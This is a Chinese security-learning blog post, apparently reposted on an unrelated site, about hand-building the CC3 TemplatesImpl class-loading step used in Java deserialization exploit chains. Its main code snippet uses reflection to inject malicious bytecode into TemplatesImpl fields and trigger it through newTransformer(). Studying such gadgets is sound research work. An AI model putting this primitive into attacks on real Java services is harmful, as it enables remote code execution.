欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 新车 > 记一个搞笑的自写类加载TemplatesImpl

记一个搞笑的自写类加载TemplatesImpl

2025/5/2 5:58:47 来源:https://blog.csdn.net/qq_51796436/article/details/140843067  浏览:    关键词:记一个搞笑的自写类加载TemplatesImpl

今天没事想自己写个CC3类加载
结果为了顺利触发到TemplatesImpl#getTransletInstance的newInstance给我整急眼了,使劲改字段强行通过循环
在这里插入图片描述刚才判定了,_auxClasses为transient,不能用这种方法

结果搞了个下面的代码出来

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Properties;public class CC3TemplatesImpl {public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class"));TemplatesImpl templatesClass = new TemplatesImpl();Field[] fields = templatesClass.getClass().getDeclaredFields();for (Field field : fields) {field.setAccessible(true);if (field.getName().equals("_bytecodes")) {field.set(templatesClass, new byte[][]{code});} else if (field.getName().equals("_name")) {field.set(templatesClass, "CC6TiedMapEntry");} else if (field.getName().equals("_tfactory")) {field.set(templatesClass, new TransformerFactoryImpl());} else if (field.getName().equals("_outputProperties")) {field.set(templatesClass, new Properties());} else if (field.getName().equals("_transletIndex")) {field.set(templatesClass, 0);} else if (field.getName().equals("_auxClasses")) {field.set(templatesClass, new HashMap<>());}}templatesClass.newTransformer();}
}

你别说,还真TM能跑。请添加图片描述
说一下怎么搞的
调试的时候bytecode数组只有一个恶意类,就创建不了hashMap,后面就put不进去。

在这里插入图片描述
于是我bytecode传了两个恶意数组

	field.set(templatesClass, new byte[][]{code,code});

结果进第二个catch,hashMap不能重复put
在这里插入图片描述
我又传了个空字节,我去,空字节不能defineClass,连循环都出不了

	field.set(templatesClass, new byte[][]{code,new byte[0]});

突然想到,我自己搞个hashMap就完了,用他的干毛啊
于是

else if (field.getName().equals("_auxClasses")) {field.set(templatesClass, new HashMap<>());}

感觉像个大铸币写的

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词